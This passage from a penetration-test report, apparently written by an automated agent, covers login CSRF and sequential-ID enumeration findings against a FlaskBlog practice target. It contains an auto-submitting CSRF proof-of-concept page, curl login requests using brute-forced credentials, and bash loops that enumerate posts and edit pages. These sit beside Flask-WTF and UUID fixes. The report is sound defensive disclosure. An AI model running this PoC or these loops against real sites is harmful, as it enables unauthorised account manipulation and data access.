curl -s "https://pentest-ground.com:81/login" -H "X-Violet-Agent-Pentest: true" | grep -A 15 'form action="/login"'
Result:
<form action="/login" method="post">
<input type="username" name="username" ... />
<input type="password" name="password" ... />
<input type="checkbox" name="remember_me" ... />
</form>
No csrf_token hidden field is present.
Confirm missing SameSite attribute on session cookie:
curl -s -X POST "https://pentest-ground.com:81/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "username=admin" --data-urlencode "password=qwerty" \
-D - -o /dev/null | grep "Set-Cookie"
Result:
Set-Cookie: user_email="[email protected]"; Path=/
Set-Cookie: session=eyJ1c2VyX2lkIjoyfQ...; HttpOnly; Path=/
Neither cookie carries a SameSite attribute. The user_email cookie also lacks HttpOnly, enabling JavaScript access.
Demonstrate that POST /login accepts requests with no CSRF token from any context:
The successful brute force login (documented in the Rate Limiting finding) was performed entirely via curl with no prior session cookie, no Origin header matching the application domain, and no CSRF token. HTTP 302 was returned, confirming no CSRF validation occurs server-side.
Proof-of-concept Login CSRF HTML (for demonstration purposes — would be hosted by attacker on a third-party domain):
<!DOCTYPE html>
<html>
<body onload="document.csrf_form.submit()">
<form name="csrf_form" action="https://pentest-ground.com:81/login" method="POST">
<input type="hidden" name="username" value="attacker_account" />
<input type="hidden" name="password" value="attacker_password" />
<input type="hidden" name="remember_me" value="off" />
</form>
</body>
</html>
A victim who opens this page (or is redirected to it via a shortened URL) will have their browser submit the form to the FlaskBlog login endpoint, logging them in as the attacker. No interaction beyond page load is required.
Login form HTML confirms no CSRF token field: ```html <form action="/login" method="post"> <!-- Only: username, password, remember_me — NO csrf_token hidden field --> <input type="username" id="form2Example1" class="form-control" name="username" required /> <input type="password" id="form2Example2" class="form-control" name="password" required /> <input class="form-check-input" type="checkbox" value="true" name="remember_me" /> </form> ``` Set-Cookie header confirms no SameSite attribute on either cookie: ``` Set-Cookie: user_email="[email protected]"; Path=/ Set-Cookie: session=eyJ1c2VyX2lkIjoyfQ.ag56Bg.cuDEbgtEg5FqAU_lxCvg7qPQyx4; HttpOnly; Path=/ ``` Login succeeded without a CSRF token and without an `Origin` header matching the application domain — confirming the server performs no CSRF validation: ``` HTTP/1.1 302 FOUND Location: https://pentest-ground.com:81/dashboard ```
An attacker who successfully executes Login CSRF can observe all actions the victim takes under the attacker's session, including any content the victim creates or any personal data the victim submits through the application. If the application stores the victim's entries (e.g., draft posts, contact form submissions, personal profile updates) under the attacker's account, the attacker gains access to that data simply by logging back into their own account. The attack also serves as a precursor to stored XSS delivery: once the victim is logged in as the attacker, the attacker may arrange for XSS payloads to execute under the victim's browser context via the attacker's account content.
Exploitable by an attacker who can host a web page and induce a victim to visit it — a standard phishing or social engineering precondition. No account compromise or technical skill beyond basic HTML is required. The attack requires one click (or zero clicks with a <meta http-equiv="refresh"> page). The victim must currently be using a browser that does not enforce SameSite=Lax by default on cross-site form POST submissions (older browsers, non-Chromium-based browsers, or browsers where the flag has been changed).
The FlaskBlog login form does not include a CSRF token, and the Flask session cookie is set without a SameSite attribute. Browsers that do not enforce a SameSite=Lax default will include the cookie in cross-origin POST form submissions, and even under Lax the form can still be triggered via certain navigation patterns. The missing CSRF token means the server has no way to distinguish a form submission that originated from its own login page from one that originated from an attacker's page.
Option A — Add CSRF tokens via Flask-WTF (preferred):
Before (vulnerable):
# app.py — no CSRF protection
@app.route('/login', methods=['GET', 'POST'])
def login():
...
After (secure):
from flask_wtf import FlaskForm
from flask_wtf.csrf import CSRFProtect
from wtforms import StringField, PasswordField
csrf = CSRFProtect(app) # protects all forms globally
class LoginForm(FlaskForm):
username = StringField('Username')
password = PasswordField('Password')
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit(): # includes CSRF validation automatically
...
Template (login.html):
<form action="/login" method="post">
{{ form.hidden_tag() }} <!-- renders the hidden csrf_token field -->
...
</form>
Option B — Set SameSite=Lax on session cookie (quick mitigation):
# Flask config
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
Additional Hardening:
SameSite=Lax is insufficient.SameSite=Lax (or Strict) on the user_email cookie as well, and add HttpOnly to prevent JavaScript access to the plaintext email address.Test CSRF token enforcement: Fetch the login page to obtain a CSRF token, then submit a login request with the CSRF token stripped from the form body. Expect HTTP 400 Bad Request or equivalent CSRF rejection. If login succeeds without the token, protection is incomplete.
Test SameSite enforcement: Inspect the Set-Cookie response header after a successful login. It should include SameSite=Lax (or SameSite=Strict). If no SameSite attribute is present, the fix is not applied.
Simulate cross-origin submission: Send a POST /login request using curl with an Origin: https://evil-example.com header and no CSRF token. Expect the server to reject the request (HTTP 400 or 403). If it returns HTTP 302 and issues a session cookie, CSRF protection is not functioning.
Finding #18 · BUSINESS-LOGIC · CWE-639
The FlaskBlog application assigns sequential integer IDs to all blog posts, starting at 1 and incrementing by 1 for each new post. Both GET /post/{id} (view) and GET /{id}/edit (edit form) accept these IDs with no access control or visibility check. Iterating IDs from 1 upward with unauthenticated requests returned HTTP 200 for all IDs 1 through 24 — confirming that the full corpus of posts is discoverable and accessible without any authentication. There is no rate limiting, no CAPTCHA, and no random ID component to slow enumeration.
Technical reproduction steps — for developers
Enumerate all posts by iterating IDs sequentially:
for i in $(seq 1 50); do
status=$(curl -s -H "X-Violet-Agent-Pentest: true" \
-o /dev/null -w "%{http_code}" \
"https://pentest-ground.com:81/post/$i")
echo "POST $i: HTTP $status"
done
Cross-reference with edit access to identify editable records (confirms BL-VULN-01 scope):
for i in $(seq 1 30); do
code=$(curl -s -H "X-Violet-Agent-Pentest: true" \
-o /dev/null -w "%{http_code}" \
"https://pentest-ground.com:81/$i/edit")
[ "$code" = "200" ] && echo "Editable without auth: /post/$i"
done
``` Enumeration results (abridged): POST 1: HTTP 200 POST 2: HTTP 200 POST 3: HTTP 200 POST 4: HTTP 200 POST 5: HTTP 200 POST 6: HTTP 200 POST 7: HTTP 200 POST 8: HTTP 200 ... POST 24: HTTP 200 POST 25: HTTP 404 ← boundary confirmed Total posts confirmed: 24 All accessible without authentication via sequential integer ID iteration. No rate limit or enumeration protection observed. ```
In the current application state all posts appear to be public, limiting the immediate confidentiality impact. However, the vulnerability becomes critical if the application is extended with draft posts, private posts, or any per-user visibility controls — all such records would be immediately discoverable via sequential enumeration. The pattern also directly enables the unauthenticated edit vulnerability (BL-VULN-01): an attacker does not need to guess or discover post IDs through any other means because they are trivially predictable.
Exploitable by anyone with internet access using a simple loop in any scripting language or a browser — no login required, no technical expertise needed. Enumerating all 24 current posts takes under 5 seconds with a single curl loop.
The application uses SQLAlchemy's default integer primary key (id = db.Column(db.Integer, primary_key=True)), which the database increments by 1 for each new row. This ID is used directly in URL routes (/post/<id> and /<id>/edit) with no secondary access control check, making the full address space of all posts predictable from the first record.
Before (vulnerable):
class Post(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(100), nullable=False)
content = db.Column(db.Text, nullable=False)
# ...
@app.route('/post/<int:id>')
def post(id):
post = Post.query.get_or_404(id)
return render_template('post.html', post=post)
After (secure):
import uuid
class Post(db.Model):
id = db.Column(db.String(36), primary_key=True,
default=lambda: str(uuid.uuid4()))
title = db.Column(db.String(100), nullable=False)
content = db.Column(db.Text, nullable=False)
# ...
@app.route('/post/<string:id>')
def post(id):
post = Post.query.get_or_404(id)
return render_template('post.html', post=post)
Additional Hardening:
is_published, author_id checks) regardless of ID format — UUIDs slow enumeration but do not replace access control.Confirm UUIDs are assigned to new posts:
Create a post via the authenticated UI and check the URL — it should contain a UUID (e.g., /post/a3f1c2d4-...) rather than a small integer.
Confirm sequential prediction is no longer possible:
curl -s "https://pentest-ground.com:81/post/1" -o /dev/null -w "%{http_code}"
404 — integer IDs no longer exist.200.Confirm access control on private posts (if implemented):
Create a draft post as User A. Log in as User B and attempt to access the UUID URL directly.
403 Forbidden or 404 Not Found.200 with post content visible.References
The following timelines are recommended based on industry standards and the severity of each finding. Organizations should adjust these timelines based on their risk tolerance and operational constraints.
| Severity | Recommended Timeline | Rationale |
|---|---|---|
| critical | 24 hours | Active exploitation risk; immediate patching required |
| high | 7 days | Significant risk; prioritize in current sprint |
| medium | 30 days | Moderate risk; schedule in next release cycle |
| low | 90 days | Minor risk; address during regular maintenance |
10 critical/high findings require remediation within 7 days. 18 total findings identified.